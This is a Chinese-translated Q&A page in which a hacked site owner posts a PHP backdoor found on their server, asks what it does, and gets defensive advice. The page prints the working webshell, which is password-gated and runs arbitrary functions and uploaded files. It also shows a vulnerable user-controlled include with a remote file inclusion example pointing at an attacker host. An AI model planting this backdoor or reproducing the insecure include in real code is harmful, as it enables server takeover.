被黑了!这段 PHP 代码的作用是什么?我应该如何避免? [关闭]

2024-04-28

我被黑客攻击了,显然他们正在发送垃圾邮件。他们注入了两个文件到我的服务器中(在所有子目录中重复)。其中一个是经过严重哈希处理的 PHP 文件,该文件可能是发件人。下面的代码来自另一个文件。

我的问题是——这有什么成就?我无法翻译其目的。另外,我应该怎样做才能避免这种情况再次发生?

<?php

if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a')
    die();
@extract($_POST);

if(!empty($a))
    @$a($b);

if(!empty($_FILES['tmp_name']))
    @include($_FILES['tmp_name']);

?>

在进一步检查之前立即重命名该文件(更改为 .php 以外的名称),以便任何恶意用户无法再使用它。

然后调查他们如何将其注入到您的服务器上。

在您的访问日志中,您将找到加载特定 PHP 文件的页面加载。这将是你的第一个线索。例如,调查来自同一 IP 地址的其他连接,并查看他们访问/滥用了哪些脚本。在某个地方,您可能会发现您有过时/易受攻击的 WordPress 插件、joomla 插件等。尽快更新或删除该插件,否则您很快就会再次遭到黑客攻击!

另外,在检查您的访问日志时,看看他们是否上传了新的后门!也许您会看到一些不应该存在的脚本被同一个 IP 地址调用。也删除/重命名它们!

代码的作用非常简单,但也非常高级: 它允许密码持有者执行您能够通过 PHP 执行的任何代码。先进之处在于难以察觉。它不使用 base64,不使用 eval 等。

edit:

理想化在评论中说:

实际上,我没有在此域上使用 Wordpress(或任何其他 CMS)——但我确实有一个 index.php 文件,该文件通过包含以下划线前缀的现有文件来处理各种页面的动态创建——所以index.php?go=about 将包含("about.php")。它检查文件是否存在,如果不存在,则仅包含默认文件。我希望这足够安全。这是他们可能利用我的代码的地方吗? ` if ($_GET['go']=='') { $go = '视频'; } else { $go = $_GET['go']; } if (!(file_exists(''.$go.'.php'))) { $go = '视频'; }

是的,可能有你的问题!你说包含的文件带有下划线前缀,但我在你的代码中没有看到这一点......所以,如果黑客去了index.php?go=http://hackerssite.com/hackerscode,你最终会包括http://hackerssite.com/hackerscode.php代码,并允许造成破坏!

删除(并且绝不允许)包含直接用户输入的代码。查看$_GET['go']针对允许的包含页面数组,或使用switch打电话给include.

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

被黑了!这段 PHP 代码的作用是什么?我应该如何避免? [关闭] 的相关文章

随机推荐